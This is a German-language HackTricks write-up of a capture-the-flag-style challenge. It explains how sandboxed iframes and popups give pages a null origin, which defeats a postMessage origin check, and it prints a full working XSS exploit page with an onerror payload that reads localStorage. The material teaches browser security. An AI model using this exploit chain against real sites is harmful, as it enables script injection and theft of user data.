Bypassing SOP with Iframes - 1
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Iframes in SOP-1
In dieser Herausforderung, die von NDevTK und Terjanq erstellt wurde, müssen Sie eine XSS in dem Code ausnutzen.
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
Das Hauptproblem ist, dass die Hauptseite DomPurify verwendet, um data.body
zu senden. Um eigene HTML-Daten an diesen Code zu senden, musst du e.origin !== window.origin
umgehen.
Lass uns die vorgeschlagene Lösung ansehen.
SOP-Bypass 1 (e.origin === null)
Wenn //example.org
in ein sandboxed iframe eingebettet wird, wird der Ursprung der Seite null
sein, d.h. window.origin === null
. Durch das Einbetten des iframes über <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
könnten wir den null
Ursprung erzwingen.
Wenn die Seite einbettbar wäre, könntest du diesen Schutz auf diese Weise umgehen (Cookies müssen möglicherweise auch auf SameSite=None
gesetzt werden).
SOP-Bypass 2 (window.origin === null)
Die weniger bekannte Tatsache ist, dass wenn der sandbox-Wert allow-popups
gesetzt ist, dann wird das geöffnete Popup alle sandboxed attributes erben, es sei denn, allow-popups-to-escape-sandbox
ist gesetzt.
Das Öffnen eines Popups von einem null Ursprung wird window.origin
im Popup ebenfalls null
machen.
Herausforderungs-Lösung
Daher könnte man für diese Herausforderung ein iframe erstellen, ein Popup zur Seite mit dem anfälligen XSS-Code-Handler (/iframe.php
) öffnen, da window.origin === e.origin
, weil beide null
sind, ist es möglich, eine Payload zu senden, die das XSS ausnutzt.
Diese Payload wird die Kennung erhalten und ein XSS zurück zur Hauptseite senden (der Seite, die das Popup geöffnet hat), die dann die Location zu dem anfälligen /iframe.php
ändern wird. Da die Kennung bekannt ist, spielt es keine Rolle, dass die Bedingung window.origin === e.origin
nicht erfüllt ist (denk daran, der Ursprung ist das Popup vom iframe, das Ursprung null
hat), weil data.identifier === identifier
. Dann wird das XSS erneut ausgelöst, diesmal im richtigen Ursprung.
<body>
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.